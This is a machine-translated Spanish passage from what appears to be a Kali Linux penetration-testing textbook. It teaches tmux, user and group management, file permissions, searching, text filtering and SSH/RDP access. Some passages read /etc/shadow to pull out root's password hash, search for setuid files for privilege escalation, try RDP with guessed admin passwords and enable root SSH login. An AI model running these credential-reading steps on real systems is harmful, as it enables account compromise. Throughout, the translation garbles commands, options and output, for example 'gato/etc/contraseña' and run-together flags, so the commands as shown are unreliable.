teclado. (renombrar-ventana)Ventana1 Creación de ventana En esta etapa, solo tenemos una ventana, vamos a crear una segunda presionando Ctrl+Band y luego presionando la tecla C. Mirando la parte inferior, verá que tiene una nueva ventana bash, y Tmux ya ha resaltado la pestaña actual con un asterisco (*), como se muestra en la Figura 1.2. Figura 1.2 Nueva pestaña resaltada de Tmux Canal de Telegram : @IRFaraExam Machine Translated by Google DividirVentanas Para dividir la pestaña seleccionada en dos subventanas una al lado de la otra, como se muestra en la Figura 1.3, debe presionar Ctrl+Bandluegoingresarelcarácter%ensuteclado(recuerdequedebepresionarMayús+%o,de lo contrario, se considerará 5 en su teclado). Figura 1.3 TmuxVerticalWindowsSidebySide NavegaciónInteriorTmux Asombroso, ¿verdad? Como puede ver, el cursor se encuentra en el panel derecho (vea la Figura 1.3). Para alternar entre paneles (subventanas), presione Ctrl+B y use las teclas de flecha en su teclado (para cambiar a la izquierda, derecha, arriba y abajo). A continuación, regrese a la sesión de la Ventana 1. Para alternar entre ventanas, presione Ctrl+B y luego el número de la ventana (que es 0 según este ejemplo), y deberíamos volver a la primera ventana. Ahora, divida la ventana en dos secciones, una sobre la otra, como se muestra en la Figura 1.4. Para hacer esto, use Ctrl+Band, luego las comillas dobles ("). Recuerde que debe presionar Mayús+“o, de lo contrario, esa tecla produce una comilla simple. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 1.4 TmuxHorizontalWindows El consejo final para administrar Tmux es para desplazarse hacia arriba y hacia abajo dentro de una ventana o una sesión de panel. De hecho, no puede usar el mouse para desplazarse hacia arriba y hacia abajo en una sesión de Tmux (el desplazamiento del mouse es para el historial de comandos). Para cerrar una ventana nueva, simplemente use exit como con cualquier sesión normal de ventana de terminal. TmuxCommandsReference La Tabla 1.1 resume todos los comandos Tmux que aprendió en esta sección. Puede usar una referencia (esta es solo una guía rápida para que pueda comenzar a usar Tmux; si desea ir más allá de lo básico, consulte la referencia manual). Table1.1 Atajos de teclado Tmux DESCRIPCIÓN MANDO Ventana Torenamea Ctrl+B+, Canal de Telegram : @IRFaraExam Machine Translated by Google Paraabrirunanuevaventana Ctrl+B+C Para dividir ventanas verticalmente Ctrl+B+% Para dividir la ventana horizontalmente Ctrl+B+" Para navegar por las subventanas Ctrl+B+Flecha izquierda,Ctrl+B+Flecha derecha Para cambiar entre ventanas Ctrl+B+[número de ventana] Desplazarse hacia arriba Ctrl+B+[+flecha arriba Desplazarse hacia abajo Ctrl+B+[+flecha abajo Para escapar del modo de desplazamiento Esc Paracerrarpanel/ventana Escriba salir (dentro de él) Administración de usuarios y grupos en Kali Comprenderloscomandosparaadministrarusuariosygruposesimportante porque utilizará la información cuando se entere de la escalada de privilegios más adelante en el libro. Todos los comandos en este capítulo le ayudarán mucho en su compromisos mientras usa KaliLinux (como un sistema operativo para sus pruebas de penetración). La figura 1.5 resume todos los comandos relacionados con la administración/seguridad de los usuarios en KaliLinux. UsuariosComandos Los usuarios con privilegios bajos deben anteponer los comandos con sudo para ejecutar el sistema comandos (y el usuario con privilegios bajos debe estar en el grupo sudo para ejecutar sudo ). Se le pedirá la contraseña de su cuenta si desea utilizar el sudo comando. Por ejemplo, si desea ejecutar la herramienta del sistema fdisk para mostrar los dispositivos conectados a Kali, use el siguiente comando: raíz @ kali: ~ # fdisk-l Disco/dev/sda:80GiB,85899345920bytes,167772160sectores Modelo de disco:VMwareVirtualS Unidades: sectores de 1512* = 512 bytes Tamaño del sector (lógico/físico): 512 bytes/512 bytes I/Osize (mínimo/óptimo): 512 bytes/512 bytes Tipo de etiqueta de disco:dos Identificador de disco: 0x7c02676c Dispositivo Arranque/dev/sda1* StartEndSectorsSizeIdType 204816577126316576921679G83Linux Canal de Telegram : @IRFaraExam Machine Translated by Google Machine Translated by Google Figura 1.5 KaliLinuxOSSecurityCommands Para agregar un nuevo usuario a Kali (en este ejemplo, Gu va a ser el usuario), use el comando useradd . Junto con él, debe elegir el grupo sudo con la opción ÿG y el tipo de shell con la opción ÿs : $useradd-m[nombre de usuario]-G[nombre de grupo]-s[tipo de shell] Para nuestro ejemplo, se ve así: root@kali:~#useradd-mGus-Gsudo-s/bin/bash A continuación, proporcionemos al nuevo usuario una contraseña mediante el comando passwd : $contraseña[nombre de usuario-quequierescambiarlacontraseña] Aquí se muestra cómo se ve en la ventana de la terminal: root@kali:~#passwdGus Nueva contraseña: Vuelva a escribir nueva contraseña: contraseña: contraseña actualizada con éxito Si observa detenidamente la parte superior izquierda, está escrito root@kali ; sé que esto es confuso, pero la estructura de esta parte tiene el siguiente formato: nombredeusuario@nombredehost Para cambiar al nuevo usuario Gus que creamos anteriormente, usamos el comando your (preste atención a cómo el usuario ha cambiado en el texto de la ventana terminal y se convirtió en Gus @ kali ): $su[nombre de usuario–al que desea cambiar] raíz@kali:~#suGus Gus@kali:/raíz$ Para conocer las capacidades del usuario actual con el comando sudo , debe ejecutar sudo ÿ l para obtener la información correcta: Gus@kali:~$sudo-l Confiamos en que haya recibido la lección habitual del administrador del sistema local. Por lo general, se reduce a estas tres cosas: Canal de Telegram : @IRFaraExam Machine Translated by Google #1)Respetarlaprivacidaddelosdemás. #2) Piense antes de escribir. #3) Un gran poder conlleva una gran responsabilidad. [sudo]contraseña de Gus: Coincidencia de entradas predeterminadas para Gusonkali: env_reset,mail_badpass, ruta_segura=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin El usuario Gus puede ejecutar los siguientes comandos en kali: (TODOS:TODOS)TODOS Para ver la información del usuario actual, use el comando id : Gus@kali:~$id uid = 1001 (Gus) gid = 1001 (Gus) grupos = 1001 (Gus), 27 (sudo) Para enumerar los usuarios conectados actualmente, use w o who (con menos detalles): Gus@kali:~$w 10:44:06up19min,1usuario,promedio de carga:0.00,0.00,0.00 TTY roottty7/usr/lib/x USUARIO Gus@kali:~$quien roottty7 PCU PCPUQUÉ INICIAR SESIÓN@IDLE10:2419:552.36s2.36s DESDE :0 2020-09-2210:24(:0) Para eliminar un usuario (el usuario que eliminaremos en este ejemplo es test ), ejecute el comando userdel : $usuariodel[nombredeusuario–quequiereseliminar] Gus@kali:~$suduserdeltest Para enumerar los últimos usuarios registrados en el sistema Kali, configure el último comando: Gus@kali: ~ $ último roottty7loggedin :0 marsep2210:24todavía reiniciando systemboot5.7.0-kali1-amd6TueSep2210:24todavía raíz tty8 :1 marsep2210: 21-10: 23 (00:02) Canal de Telegram : @IRFaraExam Machine Translated by Google veces pts/1 tmux(1793).%0 lunsep2112: 16-10: 23 (22:07) veces pts/2 tmux(1584).%0 lunsep2111: 48-11: 48 tty7 :0 lunsep2110:50-10:23 (00:00) tiempos (23:33) reiniciar systemboot5.7.0-kali1-amd6MonSep2110:50-10:23 (23:33) tty7 :0 LunJul2713:36-15:56 tiempos (02:20) reiniciar systemboot5.7.0-kali1-amd6MonJul2713:36-15:57 (02:20) veces tty7 (00:05) reiniciar systemboot5.7.0-kali1-amd6MonJul2713:30-15:57 (02:26) veces tty7 (00:02) reiniciar systemboot5.7.0-kali1-amd6MonJul2713:28-15:57 :0 lunjul2713:31-accidente :0 MonJul2713: 28-choque (02:28) wtmpbeginsMonJul2713:28:092020 Por último, tenga en cuenta que todos los usuarios de Kalia se restauran en un archivo de configuración, /etc/contraseña . Use el comando cat para revelar su contenido: Gus@kali:~$gato/etc/contraseña raíz:x:0:0:raíz:/raíz:/bin/bash demonio:x:1:1:demonio:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin El comando anterior enumerará todos los usuarios, incluso los del sistema (el ejemplo solo muestra los primeros tres). Para filtrar el contenido y limitar los resultados para el usuarioshumanos,canalizarlasalidautilizando | comando grep : Gus@kali: ~ $ gato/etc/contraseña | grep "/bin/bash" raíz:x:0:0:raíz:/raíz:/bin/bash postgres:x:119:124:administrador de PostgreSQL,,,:/var/lib/postgresql:/bin/bash tiempos:x:1000:1000:tiempos,,,:/inicio/tiempos:/bin/bash Gus:x:1001:1001::/home/Gus:/bin/bash GruposComandos Para agregar un nuevo grupo en KaliLinux, use el comando groupadd : Canal de Telegram : @IRFaraExam Machine Translated by Google $groupadd[nombre del nuevo grupo] Gus@kali:~$sudogroupaddhackers Para unir un usuario (que es Gus para este ejemplo) al grupo de hackers que creamos anteriormente, ejecute el comando usermod : $usermod-aG[nombre de grupo][nombre de usuario] Gus@kali:~$sudousermod-aGhackersGus Para obtener una lista de todos los grupos creados en Kali Linux, abra el archivo /etc/group . Nuevamente, use el comando cat para hacer el trabajo (el siguiente ejemplo muestra solo los tres primeros): Gus@kali:~$cat/etc/group root:x:0: daemon:x:1: bin:x:2: […] hackers:x:1002:Gus Administración de contraseñas en Kali Probablemente desee recuperar su usuario raíz como en los viejos tiempos. Para recuperar esta cuenta, primero deberá establecer su contraseña. Para cambiar una contraseña de usuario, debe usar el comando passwd : Gus@kali:~$sudopasswdroot Nueva contraseña: Vuelva a escribir nueva contraseña: contraseña: contraseña actualizada con éxito Ahora, para usar la poderosa cuenta raíz, debe usar el comando su para cambiar de usuario: Gus@kali:~$sudosuroot root@kali:/ home/Gus# A partir de ahora, en la pantalla de inicio de sesión, puede elegir su cuenta raíz en lugar de su usuario no raíz. Finalmente, para enumerar todas las credenciales de usuario en KaliLinux, puede revelarlas en el archivo /etc/shadow . Use el comando grep para obtener las credenciales de usuario para Gus: root@kali:/#cat/etc/shadow|grep"Gus" Canal de Telegram : @IRFaraExam Machine Translated by Google Gus: $ 6 $ Hb.QBfIoaCBTiqK $ EUJ4ZdWmbsFqHMsPbMEz2df6FtWVf4J/tMulxCoLQmfMlVWyqpMUHBG Simplifiquemos lo que tienes que hacer para pararte desde la cuerda. En segundo lugar, $6$ significa que la contraseña se ha borrado mediante SHA-512. Por último, la contraseña hash comienza después de $6$ y justo antes del delimitador:: Hb.QBfIoaCBTiqK$EUJ4ZdWmbsFqHMsPbMEz2df6FtWVf4J/tMulxCoLQmfMlVWyqpMUHBGmHFulRk Gestión de archivos y carpetas en Kali Linux Su próximo desafío en el sistema operativo Linux es aprender a administrar archivos y carpetas. Al final de esta sección, comenzará a usar los archivos y directorios en Kali como los profesionales. Mostrar archivos y carpetas Para enumerar los archivos y las subcarpetas dentro de cualquier directorio, use el comando ls para hacer el trabajo (yo uso ital para obtener una salida más simple ). root@kali:~#ls EscritorioDocumentosDescargasMúsicaImágenesPúblicoPlantillasVídeos root@kali:~#ls-la total144 drwx------14rootroot4096Sep2210:24. drwxr-xr-x19rootroot36864Jul2715:41.. -rw------- 1rootroot155Sep2210:23.bash_history -rw-r--r-1rootroot570Jul1817:08.bashrc drwx------ 6rootroot4096Sep2211:21.cache drwxr-xr-x 8rootroot4096Sep2210:22.config drwxr-xr-x 2rootroot4096Sep2210:21Escritorio -rw-r--r-- 1rootroot55Sep2210:21.dmrc drwxr-xr-x 2rootroot4096Sep2210:21Documentos drwxr-xr-x 2rootroot4096Sep2210:21Descargas -rw-r16root2-7-ul1-7 .face lrwxrwxrwx 1rootroot11Jul2713:22.face.icon->/root/.face Canal de Telegram : @IRFaraExam Machine Translated by Google drwx------ 3rootroot4096Sep2210:24.gnupg -rw------1rootroot306Sep2210:24.ICEauthority drwxr-xr-x 3rootroot4096Sep2210:21.local drwxr-xr-x 2rootroot4096Sep2210:21Música drwxr-xr-x 2Seproot4209 :21Imágenes -rw-r--r-- 1rootroot148Jul1817:08.profile drwxr-xr-x 2rootroot4096Sep2210:21Público drwxr-xr-x 2rootroot4096Sep2210:21Plantillas drwxr-xr-x 2rootroot4096Sep2210:21Video1s -rw98 :24.Xauthority -rw------- 1rootroot5961Sep2210:24.xsession-errors -rw------- 1rootroot6590Sep2210:23.xsession-errors.old root@kali:~# Tenga en cuenta que los nombres de archivos que comienzan con un carácter antes de sus nombres significan que están ocultos (por ejemplo, .bash_history ). Además, en el extremo izquierdo antes de los permisos, la letra d significa que es un directorio y no un archivo. $ls-la[destinationdirectorypath] permisos Para los permisos, el mismo principio se aplica a un archivo o directorio. Para simplificarlo, los permisos se dividen en tres categorías: Leer ( r ): 4 Escribir ( w ): 2 Ejecutar( x ):1 La plantilla de permisos aplica el siguiente patrón: [Usuario:r/w/x][grupo:r/w/x][todos:r/w/x] Canal de Telegram : @IRFaraExam Machine Translated by Google Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 1.6 KaliLinux : comandos de archivos y carpetas Veamos un ejemplo práctico. Digamos que creó un script de shell simple que imprime "prueba" ( usando el comando echo ) y que quería mostrar sus permisos (tenga en cuenta que este ejemplo usa el usuario raíz dentro de la ventana de la terminal): root @ kali: # echo'echotest '> test.sh root kali: # ls-la | grep'test.sh' -rw-r - r - 1rootroot10Sep2211: 25test.sh root kali: # De los resultados de salida anteriores, puede ver lo siguiente: Para el usuario raíz, puede leer y escribir debido a rw al principio. Para el grupo raíz, solo pueden leer este archivo. Para todos los demás en el sistema, solo pueden leer bien. Digamos que desea ejecutar este archivo, ya que usted es quien lo creó y es el maestro raíz. ¿Cree que podrá hacerlo (de acuerdo con los permisos anteriores para el usuario raíz)? root@kali:~#./test.sh bash:./ test.sh:Permiso denegado PROPINA El punto en el ejemplo anterior significa el directorio actual. De hecho, la raíz no tiene permiso para ejecutarlo, ¿verdad? Para cambiar los permisos del archivo anterior según la fórmula ( r = 4, w = 2 y x = 1), use esto: Usuario:4+2+1=7; Grupo: 4+2+1=7; Todos: 4 Luego, use el comando chmod para hacer el trabajo (esta vez, debería poder ejecutar el script de Shell): $chmod[números de permisos][nombre de archivo] raíz @ kali: # chmod774test.sh raíz kali: # lsla | grep'test.sh ' Canal de Telegram : @IRFaraExam Machine Translated by Google -rwxrwxr--1rootroot10Sep2211:25test.sh root@kali:~#./test.sh prueba root@kali:~# Hay otro atajo para esto, que permite la ejecución de un archivo en lugar de calcular los números de cada uno. Solo necesitamos agregar +x al comando chmod (pero tenga cuidado porque cuando ejecute este, también le estará dando el permiso de ejecución a todos): $chmod+x[nombre de archivo] root @ kali: ~ # chmod + xtest.sh root @ kali: l # ls-la | grep'test.sh '-rwxrwxr-x1rootroot10Sep2211: 25test.sh manipulación de archivos en Kali Para crear simplemente un archivo vacío en Linux, puede usar el comando táctil : $tocar[nuevoarchivo] Para insertar texto rápidamente en un archivo, puede usar el comando echo . Más adelante en este capítulo, aprenderá a editar archivos de texto con un editor de texto: $echo'texttoadd'>[nombre de archivo] Para conocer un tipo de archivo en un sistema Linux, debe usar el comando de archivo : $archivo[nombre de archivo] Reúnamos todos los comandos en la ventana de la terminal: root@kali:~#touchtest.txt root@kali:~#echotest>test.txt root@kali:~#filetest.txt test.txt:ASCIItext Para copiar un archivo en Kali, debe usar el comando cp para hacer el trabajo: $cp[ruta del archivo de origen][ruta del archivo de destino] root@kali:~#cptest.txt/home/kali root@kali:~#ls/home/kali prueba.sh DesktopDownloadsMusicPublicDocumentsls_file.txtPicturesTemplatestest.txt Canal de Telegram : @IRFaraExam Vídeos Machine Translated by Google Para mover un archivo que sea equivalente a cortar en el sistema operativo Windows, debe usar el comando mv : $mv[ruta del archivo de origen][ruta del archivo de destino] root@kali:~#mvtest.txtDocumentos/ root@kali:~#lsDocumentos/ prueba.txt Para eliminar el archivo que acabamos de copiar antes en el directorio principal de Kali , use el comando rm : $rm[rutadelarchivo–quequiereseliminar] root@kali:~#rm/home/ kali/test.txt Para cambiar el nombre del archivo anterior, usamos el mismo comando mv que usamos para mover un archivo: $mv[nombre de archivo original][nuevo nombre de archivo] root@kali:~/Documents#mvtest.txthello.txt root@kali:~/Documents#ls hello.txt BuscandoArchivos Hay varias formas de buscar archivos en Kali; las tres más comunes son los comandos de localización y qué . , encontrar , Puede utilizar el comando de localización para localizar un archivo que esté buscando rápidamente. Debe saber que el comando de localización almacena sus datos en una base de datos, de modo que cuando busque, encontrará los resultados más rápido. Primero, necesitará actualizar la base de datos para el comando de localización mediante el comando updatedb : $actualizadob Ahora, puede comenzar a buscar usando el comando de localización: $locate[nombre de archivo] root@kali:/#locatetest.sh /home/kali/ test.sh /usr/share/doc/socat/examples/ readline-test.sh /usr/share/doc/socat/examples/test .sh Puede usar el interruptor ÿn para el comando de localización para filtrar el número de Canal de Telegram : @IRFaraExam Machine Translated by Google resultados de salida. Esta opción es práctica si usted sabe que los resultados serán enorme: $locate-n[i][searchfilecriteria] root@kali:/#locate*.confn3 /etc/adduser.conf /etc/ca-certificates.conf /etc/ debconf.conf PROPINA Use el comando grep para obtener resultados más granulares. Para encontrar una ruta de aplicación, use el comando which . Este comando usará la variable de entorno $ PATH para encontrar los resultados que está buscando. Como ejemplo, para encontrar dónde está instalado Python, puede hacer lo siguiente: $que[nombre de la aplicación] root@kali:/#quepython/usr/bin/python Es importante comprender que un sistema Linux usará $PATH para ejecutar binarios. Si su unidad está en la ventana de terminal, mostrará todos los directorios donde debe guardar sus programas/scripts (si desea ejecutarlos sin especificar su ruta): root@kali:/#$PATH bash:/ usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: El fichero o directorio no existe Veamosunejemplopráctico; guardé el archivo test.sh en mi directorio de inicio. Dado que la carpeta de inicio no está en la variable $PATH , esto significa que puedo ejecutarla solo si especifico la ruta o, de lo contrario, fallará: root@kali:~#test.sh bash:test.sh:commandnotfound root@kali:~#./ test.sh prueba Otro comando útil para encontrar archivos con opciones más flexibles es el comando de búsqueda. La ventaja de usar la herramienta de búsqueda es que permite agregar filtros más granulares para encontrar lo que está buscando. Por ejemplo, para encontrar el archivo 1.txt Canal de Telegram : @IRFaraExam Machine Translated by Google bajo el directorio de inicio raíz, use esto: root@kali:~#buscar/nombre-raíz"archivo1.txt" /root/temp/ archivo1.txt Supongamos que desea enumerar los archivos grandes (1 GB o más) en su sistema: root@kali:~#buscar/-tamaño+1G2>/dev/null/proc/kcore PROPINA Agregar 2>/dev/null a su comando limpiará los resultados de salida y filtrará los errores. El siguiente es un filtro de búsqueda conveniente que busca archivos setuid en Linux para la escalada de privilegios (aprenderá todos los detalles en el Capítulo 10 , “Linux PrivilegeEscalation”): $buscar/-perm-u=s-typef2>/dev/null Compresión de archivos Existen múltiples formas (algoritmos de compresión) para comprimir archivos; las que trataré en esta sección son las extensiones .tar y .zip . , .gz , , .bz2 Aquí está la lista de comandos para comprimir y extraer diferentes tipos de archivos: TarArchivo Para comprimir usando tar extensión: $tarcfcompressed.tarfiles Para extraer un archivo comprimido: $ tarxfcomprimido.tar Archivo Gz Para crear comprimidos.tar.gz a partir de archivos: $ tarcfzcompressed.tar.gzfiles Canal de Telegram : @IRFaraExam Machine Translated by Google Para extraer comprimido.tar.gz: $ tarxfzcomprimido.tar.gz Para crear un archivo comprimido.txt.gz: $gzipfile.txt>comprimido.txt.gz Para extraer comprimido.txt.gz: $gzip-dcomprimido.txt.gz Extraigamos el archivo rockyou.txt.gz que viene inicialmente comprimido en Kali: root@kali:~#gzip-d/usr/share/wordlists/rockyou.txt.gz Archivo Bz2 Para crear comprimidos.tar.bz2 a partir de archivos: $ tarcfjcompressed.tar.bz2files Para extraer comprimido.tar.bz2: $ tarxfjcomprimido.tar.bz2 Archivo Zip Paracrearcomprimido.zipdesdearchivos: $zipcompressed.zipfiles Para extraer archivos comprimidos.zip: $descomprimircomprimido.zip Manipulación de directorios en Kali Para imprimir el directorio de trabajo actual, debe usar el comando pwd para hacer el trabajo (no mezcle el comando pwd con el comando passwd ; son dos cosas diferentes): $ por persona Para cambiar el directorio de trabajo actual, debe usar el comando cd : $cd[nuevarutadirectorio] Canal de Telegram : @IRFaraExam Machine Translated by Google Puede usar .. para recorrer un directorio hacia arriba. De hecho, puede agregar todo lo que desee hasta llegar a la carpeta raíz del sistema, / : root@kali:~/Documentos#pwd /root/ Documentos root@kali:~/ Documentos#cd../../ root@kali:/#pwd / Como sugerencia final, para el comando cd , puede usar el carácter ~ para ir directamente al directorio de inicio de su usuario actual: $cd~ Para crear un directorio llamado prueba en la carpeta de inicio raíz, use el comando mkdir : $mkdir[nombre del nuevo directorio] Para copiar, mover y renombrar un directorio, use el mismo comando para los comandos de archivo. A veces debe agregar el interruptor ÿr (que significa recursivo) para involucrar también a los subdirectorios: $cp-r[rutadirectorioorigen][rutadirectoriodestino] $mv-r[rutadirectorioorigen] [rutadirectoriodestino] $mv-r[nombredirectoriooriginal][nombrenuevodirectorio] Para eliminar una carpeta, debe agregar el modificador ÿr al comando rm para realizar el trabajo: $rm-r[carpetaaborrarruta] Montaje de un directorio Veamos un ejemplo práctico de cómo montar un directorio dentro de KaliLinux. Supongamos que insertó una llave USB; luego, es necesario montar un directorio para acceder al contenido de su unidad USB. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 1.7 Montaje USB Para montar una unidad USB, siga estos pasos: 1. Muestre la lista de discos mediante el comando lsblk . 2. Cree un nuevo directorio para montar (aquí es donde accederá al memoria USB). 3. Monte la unidad USB con el comando de montaje . Figura 1.8 Montaje con la línea de comandos Ahora, para expulsar la unidad USB, use el comando umount para desmontar el directorio: root@kali-portátil-hp:~#umount/mnt/usb Canal de Telegram : @IRFaraExam Machine Translated by Google Gestión de archivos de texto en KaliLinux Saber cómo manejar archivos en Kali Linux es algo que encontrará a menudo durante sus compromisos. En esta sección, aprenderá acerca de los comandos más comunes que puede usar para hacer el trabajo. Hay muchas maneras de mostrar un archivo de texto rápidamente en la ventana del terminal. El 90 por ciento del tiempo, uso el comando cat para este propósito . : , cola , root@kali:/usr/share/wordlists#catrockyou.txt|grepgus123 gus123 angus123 gus12345 […] El comando head mostrará 10 líneas en un archivo de texto comenzando desde la parte superior, y puede especificar cuántas líneas desea mostrar agregando la opción ÿn : $head-n[i][nombre de archivo] root@kali:/usr/share/wordlists#head-n7rockyou.txt 123456 12345 123456789 contraseña te amo princesa 1234567 El comando tail mostrará las últimas 10 líneas de un archivo, y también puede especificar el número de líneas usando el modificador ÿn : $tail-n[i][nombre de archivo] root@kali:/usr/share/wordlists#tail-n5rockyou.txt xCvBnM, es decir, 168 abygurl69 a6_123 * 7! Canal de Telegram : @IRFaraExam Machine Translated by Google Para examinar un archivo grande, use el comando más . Debe presionar Intro o la barra espaciadora del teclado para avanzar. Al presionar la tecla B, podrá retroceder. Finalmente, para buscar texto, presione / (barra hacia adelante) y la tecla Q para salir: $más[nombre de archivo] less es como el comando more ; le permite ver el contenido de un archivo y navegar dentro también. $menos[nombre de archivo] Para ordenar un archivo de texto, simplemente use el comando ordenar : $ordenar[nombre de archivo]>[nombre de archivo ordenado] root@kali:~/temp#catfile1.txt5 6 4 root@kali:~/temp#sortfile1.txt>file1_sorted.txt root@kali:~/temp#catfile1_sorted.txt4 5 6 Para eliminar duplicados en un archivo de texto, debe usar el comando uniq : $uniq[nombre de archivo]>[sin nombre de archivo duplicado] root@kali:~/temp#catfile2.txt 5 64 4 5 5 5 root@kali:~/temp#uniqfile2.txt>file2_uniq.txt root@kali:~/ temp#catfile2_uniq.txt 5 64 Canal de Telegram : @IRFaraExam Machine Translated by Google 5 Más adelante en este libro, aprenderá a usar los comandos sort y uniq juntos para crear un archivo de diccionario de contraseñas personalizado. Vimvs.Nano Para la ventana terminal, tenemos dos editores de texto populares, viman y nano. La mayoría de las veces, puede realizar cuatro tareas en los editores de texto: Abrir/crear el archivo de texto Hacer cambios de texto buscartexto Guardar y Salir Nano es más fácil que vim. Tú eliges cualquiera de ellos, es una cuestión de preferencia. Para abrir/crear un archivo de texto, use estos comandos: $vim[ nombre del archivo de texto ] $nano[ nombre del archivo de texto ] Una vez que se abre el archivo de texto, deberá comenzar a realizar sus cambios: Innano, puede ingresar su texto libremente. Invim, debe presionar I en su teclado para ingresar al modo de inserción. Si desea buscar una palabra específica dentro de su archivo, use estos comandos: Innano, presione Ctrl + W. Invim, depende del modo en el que estés. Si está en modo insertar texto, presione la tecla Esc y luego presione / seguido de la palabra que desea buscar. Si está en modo normal, simplemente presione / seguido de la palabra que desea buscar. Finalmente, es hora de guardar y salir de su editor de texto: Innano, presione Ctrl+O para guardar, presione la tecla Intro para ejecutar la tarea de guardar y luego presione Ctrl+X para salir. Canal de Telegram : @IRFaraExam Machine Translated by Google Invim, asegúrese de estar en modo normal primero (si no lo está, presione la tecla Esc La w es para volver al modo normal) y luego use :wq . para “escribir” y la q es para salir. Búsqueda y filtrado de texto Una cosa más que aprender en el mundo de los archivos de texto es el mecanismo de búsqueda. Hay muchas formas de buscar y filtrar texto, pero las más populares son las siguientes: sujeción awk Corte Me han visto usando mucho el comando grep . Este comando de filtro se desestructura de la siguiente manera: $grep[opciones][patrón][nombre de archivo] Supongamos que desea buscar la palabra contraseña en todos los archivos a partir del sistema raíz ( / ). root @ kali: / # grep-irl "contraseña" / /boot/grub/ i386-pc/zfscrypt.mod /boot/grub/i386-pc/normal.mod /boot/ grub/i386-pc/legacycfg.mod Esto es lo que significan las opciones: ÿi :Para ignorare incluir todas las mayúsculas/minúsculas ÿr :Para buscar de forma recursiva dentro de las subcarpetas ÿl :Para imprimir los nombres de archivo donde el filtro coincide Como otro ejemplo, supongamos que desea contar el número de ocurrencias de la palabra contraseña en el archivo de diccionario rockyou.txt : root@kali:/#cd/usr/share/wordlists/ root@kali:/usr/ share/wordlists#grep-c"contraseña"rockyou.txt 3959 El comando awk es una herramienta avanzada para filtrar archivos de texto y utiliza el siguiente patrón: Canal de Telegram : @IRFaraExam Machine Translated by Google $awk/[criterios de búsqueda]/[opciones][nombre de archivo] Por ejemplo, supongamos que desea buscar la raíz de texto dentro del archivo /etc/ passwd : root@kali:/#awk'/root/'/etc/passwd root:x:0:0:root:/ root:/bin/bash nm-openvpn:x:125:130:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin Llevemos el desafío un paso más allá. Digamos que desea extraer la contraseña de la raíz en el archivo /etc/shadow (puede imprimir todo primero para que pueda visualizar la diferencia del antes y el después): root@kali:/#awk'/root/'/etc/shadow root:$6$uf2Jy/ R8HS5Tx$Vw1wHuBV7unq1hImYGTJdNrRwMwRtf0yd/aSH0zOhhdzWofAT5WUSduQ root@kali:/#awk-F':''/root/{print$2}'/etc/shadow $6$uf2Jy/ R8HS5Tx$Vw1wHuBV7unq1hImYGTJdNrRwMwRtf0yd/aSH0zOhhdzWofAT5WUSduQTjWj8 Sabemos que el archivo shadow está usando el delimitador : para separar las secciones, por lo que usamos ÿF ':' para hacer el trabajo. Otra forma popular de extraer subcadenas es el comando cut . root@kali:/#cat/etc/shadow|grep"root"|cut-d":"-f2 $6$uf2Jy/ R8HS5Tx$Vw1wHuBV7unq1hImYGTJdNrRwMwRtf0yd/aSH0zOhhdzWofAT5WUSduQTjWj8 ConexionesRemotasenKali Hay dos formas comunes de conectarse de forma remota a otros sistemas operativos. Para Windows, es el Protocolo de escritorio remoto (RDP), y para Linux, es Secure Shell (SSH). Protocolo de escritorio remoto RDP se utiliza para conectarse de forma remota a un sistema operativo Windows. Supongamos que durante Canal de Telegram : @IRFaraExam Machine Translated by Google la participación que encontró es un puerto de escritorio remoto 3389 abierto en un host de Windows (p. ej., durante la fase de exploración de puertos). Luego, deberá intentar conectarse con algunas credenciales básicas (p. ej., un nombre de usuario de administrador y una contraseña de contraseña 123) . $rdesktop[direcciónIPdelhostdeWindows]-u[nombredeusuarioenventanas]p[contraseñaenventanas] También puede omitir la contraseña e ingresarla más tarde. Vea el ejemplo en la Figura 1.9. Figura 1.9 “Inicio de sesión de Windows” Cubierta segura El protocolo SSH es una conexión segura que le permite ejecutar comandos de forma remota en un host Linux (en este caso, Kali). De forma predeterminada, SSH es un protocolo TCP que funciona en el puerto 22 de forma predeterminada. Canal de Telegram : @IRFaraExam Machine Translated by Google servidor SSH remoto: Uso de credenciales de nombre de usuario/contraseña Uso de claves públicas/privadas (sin contraseña) SSHconCredenciales Comencemos primero con el método que usa la contraseña. De forma predeterminada, todas las cuentas de usuario, excepto la cuenta raíz, pueden iniciar sesión de forma remota en SSH: $ sshusuario @ kaliIP La figura 1.10 muestra un usuario raíz que no tiene permiso para iniciar sesión en Kali Linux de forma remota, así como un usuario normal ( kali ) que puede iniciar sesión de forma remota mediante SSH. Figura 1.10 SSH con Moba Xtermon Windows Para permitir que el usuario raíz inicie sesión de forma remota en SSH, deberá editar el archivo de configuración de SSH en este directorio: /etc/ssh/sshd_config Asegúrese de agregar la siguiente línea al archivo de configuración de SSH: Canal de Telegram : @IRFaraExam Machine Translated by Google Permitir inicio de sesión raíz Sí Ahora, podemos intentar conectarnos a nuestro host Kali de forma remota utilizando la cuenta raíz (debería funcionar esta vez después de los últimos cambios): Figura 1.11 SSHRootConnection Antes de comenzar a usar el servicio SSH en su Kali Linux, primero deberá iniciar el servicio SSH. Para hacer esto, deberá ejecutar el siguiente comando: $serviciosshstart Si desea detenerlo más tarde, use el siguiente comando: $serviciosshstop Si desea que el servidor SSH persista (se inicie automáticamente) incluso después de reiniciar el sistema, deberá ejecutar el siguiente comando: $systemctlenablessh Si olvidó el estado (iniciado o detenido) de su servidor SSH, ejecute el siguiente comando para obtener los resultados que se muestran en la Figura 1.12: $serviciosshstatus Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 1.12 SSHServiceStatus De manera predeterminada, el número de puerto de SSHis es 22, y si el servidor remoto de Linux ha cambiado a otro puerto, deberá especificarlo en su comando de conexión: $sshusername@kaliIP-p[número de puerto] Sin contraseñaSSH Usando una clave pública y una clave privada, un usuario remoto puede iniciar sesión usando SSH. Este método es más seguro que la contraseña porque nadie podrá usar la técnica de fuerza bruta para ingresar a su servidor de forma remota. Existe una gran cantidad de conceptos erróneos cuando se trata del mecanismo de claves públicas/privadas. Aquí está la información de la máquina cliente: SO:UbuntuDesktopLinuxV20 IP: 10.0.0.186 Aquí está la información del host Kali Linux SSH Server: Sistema operativo: KaliLinux2020.1 IP: 